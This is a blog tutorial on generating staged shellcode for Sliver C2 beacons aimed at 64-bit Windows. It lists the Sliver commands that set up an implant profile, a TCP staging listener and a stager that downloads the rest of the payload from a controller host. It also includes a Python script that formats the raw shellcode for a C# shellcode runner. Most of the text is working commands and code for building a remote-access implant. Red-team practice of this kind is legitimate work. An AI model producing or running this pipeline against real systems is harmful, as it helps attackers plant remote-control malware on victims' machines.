top of page
Search

Generating Staged Shellcode (Sliver C2)

  • Writer: Kshitij Khakurdikar
    Kshitij Khakurdikar
  • Dec 26, 2023
  • 2 min read

This is a quick tutorial on generating staged shellcode for Sliver C2 beacons. We are also going to have a look at how raw shellcode could be formatted to be consumed by shellcode runner programmed in C#.


It is assumed that the Sliver C2 is already installed setup on your system. I am using Kali Linux for demonstration.


We are going to start with setting up a new profile for our implant.

profiles new --http 192.168.122.129 --skip-symbols --disable-sgn --format shellcode --arch amd64 win64

We have opted to skip obfuscation of symbols (--skip-symbols) and also disabled shikata-ga-nai encoder (--disable-sgn)

We are going to target 64-bit Windows OS. The name of this profile is win64.


Next, we are going to setup a staging listener for our profile which will serve our implant shellcode. We will use TCP as our staging protocol. This essentially sets up staging server on TCP Port 8443.

stage-listener --url tcp://192.168.122.129:8443 --profile win64

Next, we generate our raw shellcode for the listener as shown below. This shellcode upon execution will basically connect to staging server specified as LHOST:LPORT and download remaining payload for further execution.

generate stager --lhost 192.168.122.129 --lport 8443 --arch amd64 --format raw --save /tmp/shellcode.bin
ree

The raw shellcode is output to /tmp/shellcode.bin file.


Now that we have staging server and shellcode in place, we will start HTTPS listener to listen for any connections from beacon.

ree

If you observe the contents of /tmp/shellcode.bin file you will see there is a lot of gibberish binary data

ree

We would now like to convert our raw shellcode to C# compatible format.

I have edited the script to accept raw shellcode file as an argument and output only the C# formatted shellcode along with its size -

#!/usr/bin/env python3
import base64
import sys
filename = sys.argv[1]
# Edit this line with the path to the binary file containing shellcode you are converting
with open(str(filename), 'rb') as sc_handle:
    sc_data = sc_handle.read()
# Just raw binary blog base64 encoded
encoded_raw = base64.b64encode(sc_data)
# Print in "standard" shellcode format \x41\x42\x43....
binary_code = ''
fs_code = ''
size = 0
for byte in sc_data:
    binary_code += "\\x" + hex(byte)[2:].zfill(2)
    # this is for f#
    fs_code += "0x" + hex(byte)[2:].zfill(2) + "uy;"
    size = size + 1
# Convert this into a C# style shellcode format
cs_shellcode = "0" + ",0".join(binary_code.split("\\")[1:])
# Base 64 encode the C# code (for use with certain payloads :))
encoded_cs = base64.b64encode(cs_shellcode.encode())
# Write out the files to disk (edit this path as needed)
with open('formatted_shellcode.txt', 'w') as format_out:
    #format_out.write("Binary Blob base64 encoded:\n\n")
    #format_out.write(encoded_raw.decode('ascii'))
    #format_out.write("\n\nStandard shellcode format:\n\n")
    #format_out.write(binary_code)
    format_out.write("\n\nC# formatted shellcode:\n\n")
    format_out.write(cs_shellcode)
    format_out.write("\n\nSize")
    format_out.write(str(size))
    #format_out.write("\n\nBase64 Encoded C# shellcode:\n\n")
    #format_out.write(encoded_cs.decode('ascii'))
    #format_out.write("\n\nF# Shellcode:\n\n")
    #format_out.write(fs_code)
    #format_out.write("\n")

Let's run the script to generate C# formatted shellcode -

sudo ./shellcode_formatter.py /tmp/shellcode.bin

This will create formatted_shellcode.txt file in the same directory containing the shellcode and it's size.

ree



 
 
 

Comments


Contact Me

  • LinkedIn Social Icon
  • Twitter Social Icon
bottom of page